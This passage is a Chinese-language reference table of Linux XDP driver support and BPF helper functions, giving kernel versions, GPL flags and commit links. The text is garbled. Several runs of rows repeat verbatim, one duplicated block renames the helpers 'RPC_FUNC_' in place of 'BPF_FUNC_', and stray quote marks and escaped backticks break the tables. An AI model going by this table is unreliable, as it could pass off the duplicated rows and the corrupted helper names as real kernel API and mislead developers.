4.14 | [`761876c857cb`](https://github.com/torvalds/linux/commit/761876c857cb2ef8489fbee01907151da902af91) - -支持 veth | 4.14 | [`d445516966dc`](https://github.com/torvalds/linux/commit/d445516966dcb2924741b13b27738b54df2af01a) - -Intel `ixgbevf` 驱动程序 | 4.17 | [`c7aec59657b6`](https://github.com/torvalds/linux/commit/c7aec59657b60f3a29fc7d3274ebefd698879301) - -Freescale `dpaa2` 驱动程序 | 5.0 | [`7e273a8ebdd3`](https://github.com/torvalds/linux/commit/7e273a8ebdd3b83f94eb8b49fc8ee61464f47cc2) - -Socionext `netsec` 驱动程序 | 5.3 | [`ba2b232108d3`](https://github.com/torvalds/linux/commit/ba2b232108d3c2951bab02930a00f23b0cffd5af) - -TI `cpsw` 驱动程序 | 5.3 | [`9ed4050c0d75`](https://github.com/torvalds/linux/commit/9ed4050c0d75768066a07cf66eef4f8dc9d79b52) - -Intel `ice` 驱动程序 |5.5| [`efc2214b6047`](https://github.com/torvalds/linux/commit/efc2214b6047b6f5b4ca53151eba62521b9452d6) - -Solarflare `sfc` 驱动程序 | 5.5 | [`eb9a36be7f3e`](https://github.com/torvalds/linux/commit/eb9a36be7f3ec414700af9a616f035eda1f1e63e) - -Marvell `mvneta` 驱动程序 | 5.5 | [`0db51da7a8e9`](https://github.com/torvalds/linux/commit/0db51da7a8e99f0803ec3a8e25c1a66234a219cb) - -Microsoft `hv_netvsc` 驱动程序 | 5.6 | [`351e1581395f`](https://github.com/torvalds/linux/commit/351e1581395fcc7fb952bbd7dda01238f69968fd) - -Amazon `ena` 驱动程序 | 5.6 | [`838c93dc5449`](https://github.com/torvalds/linux/commit/838c93dc5449e5d6378bae117b0a65a122cf7361) - -`xen-netfront` 驱动程序 | 5.9 | [`6c5aa6fc4def`](https://github.com/torvalds/linux/commit/6c5aa6fc4defc2a0977a2c59e4710d50fa1e834c) - -Intel `gi` 驱动程序 | 5.10 | [`9cbc948b5a20`](https://github.com/torvalds/linux/commit/9cbc948b5a20c9c054d9631099c0426c16da546b)`include/uapi/linux/bpf.h`: [`include/uapi/linux/bpf.h`](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h): - -```sh -git grep ' FN(' include/uapi/linux/bpf.h -``` - -按字母顺序排列 - -Helper | 内核版本 | 授权许可 | 提交记录 | --------|----------------|---------|--------| -`BPF_FUNC_bind()` | 4.17 | | [`d74bad4e74ee`](https://github.com/torvalds/linux/commit/d74bad4e74ee373787a9ae24197c17b7cdc428d5) | -`BPF_FUNC_bprm_opts_set()` | 5.11 | | [`3f6719c7b62f`](https://github.com/torvalds/linux/commit/3f6719c7b62f0327c9091e26d0da10e65668229e) -`BPF_FUNC_btf_find_by_name_kind()` | 5.14 | | [`3d78417b60fb`](https://github.com/torvalds/linux/commit/3d78417b60fba249cc555468cb72d96f5cde2964) -`BPF_FUNC_cgrp_storage_delete()` | 6.2 | | [`c4bcfb38a95e`](https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4) -`BPF_FUNC_cgrp_storage_get()` | 6.2 | | [`c4bcfb38a95e`](https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4) -`BPF_FUNC_check_mtu()` | 5.12 | | [`34b2021cc616`](https://github.com/torvalds/linux/commit/34b2021cc61642d61c3cf943d9e71925b827941b) -`BPF_FUNC_clone_redirect()` | 4.2 | | [`3896d655f4d4`](https://github.com/torvalds/linux/commit/3896d655f4d491c67d669a15f275a39f713410f8) -`BPF_FUNC_copy_from_user()` | 5.10 | | [`07be4c4a3e7a`](https://github.com/torvalds/linux/commit/07be4c4a3e7a0db148e44b16c5190e753d1c8569) -`BPF_FUNC_copy_from_user_task()` | 5.18 | GPL | [`376040e47334`](https://github.com/torvalds/linux/commit/376040e47334c6dc6a939a32197acceb00fe4acf) -`BPF_FUNC_csum_diff()` | 4.6 | | [`7d672345ed29`](https://github.com/torvalds/linux/commit/7d672345ed295b1356a5d9f7111da1d1d7d65867) -`BPF_FUNC_csum_level()` | 5.7 | | [`7cdec54f9713`](https://github.com/torvalds/linux/commit/7cdec54f9713256bb170873a1fc5c75c9127c9d2) -`BPF_FUNC_csum_update()` | 4.9 | | [`36bbef52c7eb`](https://github.com/torvalds/linux/commit/36bbef52c7eb646ed6247055a2acd3851e317857)"`BPF_FUNC_current_task_under_cgroup()` | 4.9 | | [`60d20f9195b2`](https://github.com/torvalds/linux/commit/60d20f9195b260bdf0ac10c275ae9f6016f9c069) -`BPF_FUNC_d_path()` | 5.10 | | [`6e22ab9da793`](https://github.com/torvalds/linux/commit/6e22ab9da79343532cd3cde39df25e5a5478c692) -`BPF_FUNC_dynptr_data()` | 5.19 | | [`34d4ef5775f7`](https://github.com/torvalds/linux/commit/34d4ef5775f776ec4b0d53a02d588bf3195cada6) -`BPF_FUNC_dynptr_from_mem()` | 5.19 | | [`263ae152e962`](https://github.com/torvalds/linux/commit/263ae152e96253f40c2c276faad8629e096b3bad) -`BPF_FUNC_dynptr_read()` | 5.19 | | [`13bbbfbea759`](https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2) -`BPF_FUNC_dynptr_write()` | 5.19 | | [`13bbbfbea759`](https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2) -`BPF_FUNC_fib_lookup()` | 4.18 | GPL | [`87f5fc7e48dd`](https://github.com/torvalds/linux/commit/87f5fc7e48dd3175b30dd03b41564e1a8e136323) -`BPF_FUNC_find_vma()` | 5.17 | | [`7c7e3d31e785`](https://github.com/torvalds/linux/commit/7c7e3d31e7856a8260a254f8c71db416f7f9f5a1) -`BPF_FUNC_for_each_map_elem()` | 5.13 | | [`69c087ba6225`](https://github.com/torvalds/linux/commit/69c087ba6225b574afb6e505b72cb75242a3d844) -`BPF_FUNC_get_attach_cookie()` | 5.15 | | [`7adfc6c9b315`](https://github.com/torvalds/linux/commit/7adfc6c9b315e174cf8743b21b7b691c8766791b) -`BPF_FUNC_get_branch_snapshot()` | 5.16 | GPL | [`856c02dbce4f`](https://github.com/torvalds/linux/commit/856c02dbce4f8d6a5644083db22c11750aa11481) -`BPF_FUNC_get_current_ancestor_cgroup_id()` | 5.6 | | [`b4490c5c4e02`](https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf) -`BPF_FUNC_get_cgroup_classid()` | 4.3 | | [`8d20aabe1c76`](https://github.com/torvalds/linux/commit/8d20aabe1c76cccac544d9fcc3ad7823d9e98a2d) -`BPF_FUNC_get_current_cgroup_id()` | 4.18 | | [`bf6fa2c893c5`](https://github.com/torvalds/linux/commit/bf6fa2c893c5237b48569a13fa3c673041430b6c) -`BPF_FUNC_current_task_under_cgroup()` | 4.9 | | [`60d20f9195b2`](https://github.com/torvalds/linux/commit/60d20f9195b260bdf0ac10c275ae9f6016f9c069) -`BPF_FUNC_d_path()` | 5.10 | | [`6e22ab9da793`](https://github.com/torvalds/linux/commit/6e22ab9da79343532cd3cde39df25e5a5478c692) -`BPF_FUNC_dynptr_data()` | 5.19 | | [`34d4ef5775f7`](https://github.com/torvalds/linux/commit/34d4ef5775f776ec4b0d53a02d588bf3195cada6) -`BPF_FUNC_dynptr_from_mem()` | 5.19 | | [`263ae152e962`](https://github.com/torvalds/linux/commit/263ae152e96253f40c2c276faad8629e096b3bad) -`BPF_FUNC_dynptr_read()` | 5.19 | | [`13bbbfbea759`](https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2) -`BPF_FUNC_dynptr_write()` | 5.19 | | [`13bbbfbea759`](https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2) -`BPF_FUNC_fib_lookup()` | 4.18 | GPL | [`87f5fc7e48dd`](https://github.com/torvalds/linux/commit/87f5fc7e48dd3175b30dd03b41564e1a8e136323) -`BPF_FUNC_find_vma()` | 5.17 | | [`7c7e3d31e785`](https://github.com/torvalds/linux/commit/7c7e3d31e7856a8260a254f8c71db416f7f9f5a1) -`BPF_FUNC_for_each_map_elem()` | 5.13 | | [`69c087ba6225`](https://github.com/torvalds/linux/commit/69c087ba6225b574afb6e505b72cb75242a3d844) -`BPF_FUNC_get_attach_cookie()` | 5.15 | | [`7adfc6c9b315`](https://github.com/torvalds/linux/commit/7adfc6c9b315e174cf8743b21b7b691c8766791b) -`BPF_FUNC_get_branch_snapshot()` | 5.16 | GPL | [`856c02dbce4f`](https://github.com/torvalds/linux/commit/856c02dbce4f8d6a5644083db22c11750aa11481) -`BPF_FUNC_get_current_ancestor_cgroup_id()` | 5.6 | | [`b4490c5c4e02`](https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf) -`BPF_FUNC_get_cgroup_classid()` | 4.3 | | [`8d20aabe1c76`](https://github.com/torvalds/linux/commit/8d20aabe1c76cccac544d9fcc3ad7823d9e98a2d) -`BPF_FUNC_get_current_cgroup_id()` | 4.18 | | [`bf6fa2c893c5`](https://github.com/torvalds/linux/commit/bf6fa2c893c5237b48569a13fa3c673041430b6c)"."`BPF_FUNC_get_current_comm()` | 4.2 | | [`ffeedafbf023`](https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89) -`BPF_FUNC_get_current_pid_tgid()` | 4.2 | | [`ffeedafbf023`](https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89) -`BPF_FUNC_get_current_task()` | 4.8 | GPL | [`606274c5abd8`](https://github.com/torvalds/linux/commit/606274c5abd8e245add01bc7145a8cbb92b69ba8) -`BPF_FUNC_get_current_task_btf()` | 5.11 | GPL | [`3ca1032ab7ab`](https://github.com/torvalds/linux/commit/3ca1032ab7ab010eccb107aa515598788f7d93bb) -`BPF_FUNC_get_current_uid_gid()` | 4.2 | | [`ffeedafbf023`](https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89) -`BPF_FUNC_get_func_arg()` | 5.17 | | [`f92c1e183604`](https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509) -`BPF_FUNC_get_func_arg_cnt()` | 5.17 | | [`f92c1e183604`](https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509) -`BPF_FUNC_get_func_ip()` | 5.15 | | [`5d8b583d04ae`](https://github.com/torvalds/linux/commit/5d8b583d04aedb3bd5f6d227a334c210c7d735f9) -`BPF_FUNC_get_func_ret()` | 5.17 | | [`f92c1e183604`](https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509) -`BPF_FUNC_get_retval()` | 5.18 | | [`b44123b4a3dc`](https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93) -`BPF_FUNC_get_hash_recalc()` | 4.8 | | [`13c5c240f789`](https://github.com/torvalds/linux/commit/13c5c240f789bbd2bcacb14a23771491485ae61f) -`BPF_FUNC_get_listener_sock()` | 5.1 | | [`dbafd7ddd623`](https://github.com/torvalds/linux/commit/dbafd7ddd62369b2f3926ab847cbf8fc40e800b7) -`BPF_FUNC_get_local_storage()` | 4.19 | | [`cd3394317653`](https://github.com/torvalds/linux/commit/cd3394317653837e2eb5c5d0904a8996102af9fc) -`BPF_FUNC_get_netns_cookie()` | 5.7 | | [`f318903c0bf4`](https://github.com/torvalds/linux/commit/f318903c0bf42448b4c884732df2bbb0ef7a2284)`BPF_FUNC_get_ns_current_pid_tgid()` | 5.7 | | [`b4490c5c4e02`](https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf) -`BPF_FUNC_get_numa_node_id()` | 4.10 | | [`2d0e30c30f84`](https://github.com/torvalds/linux/commit/2d0e30c30f84d08dc16f0f2af41f1b8a85f0755e) -`BPF_FUNC_get_prandom_u32()` | 4.1 | | [`03e69b508b6f`](https://github.com/torvalds/linux/commit/03e69b508b6f7c51743055c9f61d1dfeadf4b635) -`BPF_FUNC_get_route_realm()` | 4.4 | | [`c46646d0484f`](https://github.com/torvalds/linux/commit/c46646d0484f5d08e2bede9b45034ba5b8b489cc) -`BPF_FUNC_get_smp_processor_id()` | 4.1 | | [`c04167ce2ca0`](https://github.com/torvalds/linux/commit/c04167ce2ca0ecaeaafef006cb0d65cf01b68e42) -`BPF_FUNC_get_socket_cookie()` | 4.12 | | [`91b8270f2a4d`](https://github.com/torvalds/linux/commit/91b8270f2a4d1d9b268de90451cdca63a70052d6) -`BPF_FUNC_get_socket_uid()` | 4.12 | | [`6acc5c291068`](https://github.com/torvalds/linux/commit/6acc5c2910689fc6ee181bf63085c5efff6a42bd) -`BPF_FUNC_get_stack()` | 4.18 | GPL | [`de2ff05f48af`](https://github.com/torvalds/linux/commit/de2ff05f48afcde816ff4edb217417f62f624ab5) -`BPF_FUNC_get_stackid()` | 4.6 | GPL | [`d5a3b1f69186`](https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19) -`BPF_FUNC_get_task_stack()` | 5.9 | | [`fa28dcb82a38`](https://github.com/torvalds/linux/commit/fa28dcb82a38f8e3993b0fae9106b1a80b59e4f0) -`BPF_FUNC_getsockopt()` | 4.15 | | [`cd86d1fd2102`](https://github.com/torvalds/linux/commit/cd86d1fd21025fdd6daf23d1288da405e7ad0ec6) -`BPF_FUNC_ima_file_hash()` | 5.18 | | [`174b16946e39`](https://github.com/torvalds/linux/commit/174b16946e39ebd369097e0f773536c91a8c1a4c) -`BPF_FUNC_ima_inode_hash()` | 5.11 | | [`27672f0d280a`](https://github.com/torvalds/linux/commit/27672f0d280a3f286a410a8db2004f46ace72a17) -`BPF_FUNC_inode_storage_delete()` | 5.10 | | [`8ea636848aca`](https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6) -RPC_FUNC_get_ns_current_pid_tgid() | 5.7 | | [b4490c5c4e02](https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf) -RPC_FUNC_get_numa_node_id() | 4.10 | | [2d0e30c30f84](https://github.com/torvalds/linux/commit/2d0e30c30f84d08dc16f0f2af41f1b8a85f0755e) -RPC_FUNC_get_prandom_u32() | 4.1 | | [03e69b508b6f](https://github.com/torvalds/linux/commit/03e69b508b6f7c51743055c9f61d1dfeadf4b635) -RPC_FUNC_get_route_realm() | 4.4 | | [c46646d0484f](https://github.com/torvalds/linux/commit/c46646d0484f5d08e2bede9b45034ba5b8b489cc) -RPC_FUNC_get_smp_processor_id() | 4.1 | | [c04167ce2ca0](https://github.com/torvalds/linux/commit/c04167ce2ca0ecaeaafef006cb0d65cf01b68e42) -RPC_FUNC_get_socket_cookie() | 4.12 | | [91b8270f2a4d](https://github.com/torvalds/linux/commit/91b8270f2a4d1d9b268de90451cdca63a70052d6) -RPC_FUNC_get_socket_uid() | 4.12 | | [6acc5c291068](https://github.com/torvalds/linux/commit/6acc5c2910689fc6ee181bf63085c5efff6a42bd) -RPC_FUNC_get_stack() | 4.18 | GPL | [de2ff05f48af](https://github.com/torvalds/linux/commit/de2ff05f48afcde816ff4edb217417f62f624ab5) -RPC_FUNC_get_stackid() | 4.6 | GPL | [d5a3b1f69186](https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19) -RPC_FUNC_get_task_stack() | 5.9 | | [fa28dcb82a38](https://github.com/torvalds/linux/commit/fa28dcb82a38f8e3993b0fae9106b1a80b59e4f0) -RPC_FUNC_getsockopt() | 4.15 | | [cd86d1fd2102](https://github.com/torvalds/linux/commit/cd86d1fd21025fdd6daf23d1288da405e7ad0ec6) -RPC_FUNC_ima_file_hash() | 5.18 | | [174b16946e39](https://github.com/torvalds/linux/commit/174b16946e39ebd369097e0f773536c91a8c1a4c) -RPC_FUNC_ima_inode_hash() | 5.11 | | [27672f0d280a](https://github.com/torvalds/linux/commit/27672f0d280a3f286a410a8db2004f46ace72a17) -RPC_FUNC_inode_storage_delete() | 5.10 | | [8ea636848aca](https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6)"."`BPF_FUNC_inode_storage_get()` | 5.10 | | [`8ea636848aca`](https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6) -`BPF_FUNC_jiffies64()` | 5.5 | | [`5576b991e9c1`](https://github.com/torvalds/linux/commit/5576b991e9c1a11d2cc21c4b94fc75ec27603896) -`BPF_FUNC_kallsyms_lookup_name()` | 5.16 | | [`d6aef08a872b`](https://github.com/torvalds/linux/commit/d6aef08a872b9e23eecc92d0e92393473b13c497) -`BPF_FUNC_kptr_xchg()` | 5.19 | | [`c0a5a21c25f3`](https://github.com/torvalds/linux/commit/c0a5a21c25f37c9fd7b36072f9968cdff1e4aa13) -`BPF_FUNC_ktime_get_boot_ns()` | 5.8 | | [`71d19214776e`](https://github.com/torvalds/linux/commit/71d19214776e61b33da48f7c1b46e522c7f78221) -`BPF_FUNC_ktime_get_coarse_ns()` | 5.11 | | [`d05512618056`](https://github.com/torvalds/linux/commit/d055126180564a57fe533728a4e93d0cb53d49b3) -`BPF_FUNC_ktime_get_ns()` | 4.1 | | [`d9847d310ab4`](https://github.com/torvalds/linux/commit/d9847d310ab4003725e6ed1822682e24bd406908) -`BPF_FUNC_ktime_get_tai_ns()` | 6.1 | | [`c8996c98f703`](https://github.com/torvalds/linux/commit/c8996c98f703b09afe77a1d247dae691c9849dc1) -`BPF_FUNC_l3_csum_replace()` | 4.1 | | [`91bc4822c3d6`](https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954) -`BPF_FUNC_l4_csum_replace()` | 4.1 | | [`91bc4822c3d6`](https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954) -`BPF_FUNC_load_hdr_opt()` | 5.10 | | [`0813a841566f`](https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0) -`BPF_FUNC_loop()` | 5.17 | | [`e6f2dd0f8067`](https://github.com/torvalds/linux/commit/e6f2dd0f80674e9d5960337b3e9c2a242441b326) -`BPF_FUNC_lwt_push_encap()` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79) -`BPF_FUNC_lwt_seg6_action()` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79)\`BPF_FUNC_lwt_seg6_adjust_srh()\` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79) -\`BPF_FUNC_lwt_seg6_store_bytes()\` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79) -\`BPF_FUNC_map_delete_elem()\` | 3.19 | | [`d0003ec01c66`](https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5) -\`BPF_FUNC_map_lookup_elem()\` | 3.19 | | [`d0003ec01c66`](https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5) -\`BPF_FUNC_map_lookup_percpu_elem()\` | 5.19 | | [`07343110b293`](https://github.com/torvalds/linux/commit/07343110b293456d30393e89b86c4dee1ac051c8) -\`BPF_FUNC_map_peek_elem()\` | 4.20 | | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) -\`BPF_FUNC_map_pop_elem()\` | 4.20 | | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) -\`BPF_FUNC_map_push_elem()\` | 4.20 | | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) -\`BPF_FUNC_map_update_elem()\` | 3.19 | | [`d0003ec01c66`](https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5) -\`BPF_FUNC_msg_apply_bytes()\` | 4.17 | | [`2a100317c9eb`](https://github.com/torvalds/linux/commit/2a100317c9ebc204a166f16294884fbf9da074ce) -\`BPF_FUNC_msg_cork_bytes()\` | 4.17 | | [`91843d540a13`](https://github.com/torvalds/linux/commit/91843d540a139eb8070bcff8aa10089164436deb) -\`BPF_FUNC_msg_pop_data()\` | 5.0 | | [`7246d8ed4dcc`](https://github.com/torvalds/linux/commit/7246d8ed4dcce23f7509949a77be15fa9f0e3d28) -\`BPF_FUNC_msg_pull_data()\` | 4.17 | | [`015632bb30da`](https://github.com/torvalds/linux/commit/015632bb30daaaee64e1bcac07570860e0bf3092) -\`BPF_FUNC_msg_push_data()\` | 4.20 | | [`6fff607e2f14`](https://github.com/torvalds/linux/commit/6fff607e2f14bd7c63c06c464a6f93b8efbabe28)".`BPF_FUNC_msg_redirect_hash()` | 4.18 | | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) -`BPF_FUNC_msg_redirect_map()` | 4.17 | | [`4f738adba30a`](https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0) -`BPF_FUNC_per_cpu_ptr()` | 5.10 | | [`eaa6bcb71ef6`](https://github.com/torvalds/linux/commit/eaa6bcb71ef6ed3dc18fc525ee7e293b06b4882b) | -`BPF_FUNC_perf_event_output()` | 4.4 | GPL | [`a43eec304259`](https://github.com/torvalds/linux/commit/a43eec304259a6c637f4014a6d4767159b6a3aa3) -`BPF_FUNC_perf_event_read()` | 4.3 | GPL | [`35578d798400`](https://github.com/torvalds/linux/commit/35578d7984003097af2b1e34502bc943d40c1804) -`BPF_FUNC_perf_event_read_value()` | 4.15 | GPL | [`908432ca84fc`](https://github.com/torvalds/linux/commit/908432ca84fc229e906ba164219e9ad0fe56f755) -`BPF_FUNC_perf_prog_read_value()` | 4.15 | GPL | [`4bebdc7a85aa`](https://github.com/torvalds/linux/commit/4bebdc7a85aa400c0222b5329861e4ad9252f1e5) -`BPF_FUNC_probe_read()` | 4.1 | GPL | [`2541517c32be`](https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5) -`BPF_FUNC_probe_read_kernel()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_kernel_str()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_user()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_user_str()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_str()` | 4.11 | GPL | [`a5e8c07059d0`](https://github.com/torvalds/linux/commit/a5e8c07059d0f0b31737408711d44794928ac218) -`BPF_FUNC_probe_write_user()` | 4.8 | GPL | [`96ae52279594`](https://github.com/torvalds/linux/commit/96ae52279594470622ff0585621a13e96b700600)"`BPF_FUNC_rc_keydown()` | 4.18 | GPL | [`f4364dcfc86d`](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) -`BPF_FUNC_rc_pointer_rel()` | 5.0 | GPL | [`01d3240a04f4`](https://github.com/torvalds/linux/commit/01d3240a04f4c09392e13c77b54d4423ebce2d72) -`BPF_FUNC_rc_repeat()` | 4.18 | GPL | [`f4364dcfc86d`](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) -`BPF_FUNC_read_branch_records()` | 5.6 | GPL | [`fff7b64355ea`](https://github.com/torvalds/linux/commit/fff7b64355eac6e29b50229ad1512315bc04b44e) -`BPF_FUNC_redirect()` | 4.4 | | [`27b29f63058d`](https://github.com/torvalds/linux/commit/27b29f63058d26c6c1742f1993338280d5a41dc6) -`BPF_FUNC_redirect_map()` | 4.14 | | [`97f91a7cf04f`](https://github.com/torvalds/linux/commit/97f91a7cf04ff605845c20948b8a80e54cbd3376) -`BPF_FUNC_redirect_neigh()` | 5.10 | | [`b4ab31414970`](https://github.com/torvalds/linux/commit/b4ab31414970a7a03a5d55d75083f2c101a30592) -`BPF_FUNC_redirect_peer()` | 5.10 | | [`9aa1206e8f48`](https://github.com/torvalds/linux/commit/9aa1206e8f48222f35a0c809f33b2f4aaa1e2661) -`BPF_FUNC_reserve_hdr_opt()` | 5.10 | | [`0813a841566f`](https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0) -`BPF_FUNC_ringbuf_discard()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_discard_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_ringbuf_output()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_query()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_reserve()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_reserve_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_ringbuf_submit()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_submit_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_send_signal()` | 5.3 | | [`8b401f9ed244`](https://github.com/torvalds/linux/commit/8b401f9ed2441ad9e219953927a842d24ed051fc) -`BPF_FUNC_send_signal_thread()` | 5.5 | | [`8482941f0906`](https://github.com/torvalds/linux/commit/8482941f09067da42f9c3362e15bfb3f3c19d610) -`BPF_FUNC_seq_printf()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_seq_printf_btf()` | 5.10 | | [`eb411377aed9`](https://github.com/torvalds/linux/commit/eb411377aed9e27835e77ee0710ee8f4649958f3) -`BPF_FUNC_seq_write()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_set_hash()` | 4.13 | | [`ded092cd73c2`](https://github.com/torvalds/linux/commit/ded092cd73c2c56a394b936f86897f29b2e131c0) -`BPF_FUNC_set_hash_invalid()` | 4.9 | | [`7a4b28c6cc9f`](https://github.com/torvalds/linux/commit/7a4b28c6cc9ffac50f791b99cc7e46106436e5d8) -`BPF_FUNC_set_retval()` | 5.18 | | [`b44123b4a3dc`](https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93) -`BPF_FUNC_setsockopt()` | 4.13 | | [`8c4b4c7e9ff0`](https://github.com/torvalds/linux/commit/8c4b4c7e9ff0447995750d9329949fa082520269) -`BPF_FUNC_sk_ancestor_cgroup_id()` | 5.7 | | [`f307fa2cb4c9`](https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b) -`BPF_FUNC_sk_assign()` | 5.6 | | [`cf7fbe660f2d`](https://github.com/torvalds/linux/commit/cf7fbe660f2dbd738ab58aea8e9b0ca6ad232449)`BPF_FUNC_ringbuf_reserve_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_ringbuf_submit()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_submit_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_send_signal()` | 5.3 | | [`8b401f9ed244`](https://github.com/torvalds/linux/commit/8b401f9ed2441ad9e219953927a842d24ed051fc) -`BPF_FUNC_send_signal_thread()` | 5.5 | | [`8482941f0906`](https://github.com/torvalds/linux/commit/8482941f09067da42f9c3362e15bfb3f3c19d610) -`BPF_FUNC_seq_printf()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_seq_printf_btf()` | 5.10 | | [`eb411377aed9`](https://github.com/torvalds/linux/commit/eb411377aed9e27835e77ee0710ee8f4649958f3) -`BPF_FUNC_seq_write()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_set_hash()` | 4.13 | | [`ded092cd73c2`](https://github.com/torvalds/linux/commit/ded092cd73c2c56a394b936f86897f29b2e131c0) -`BPF_FUNC_set_hash_invalid()` | 4.9 | | 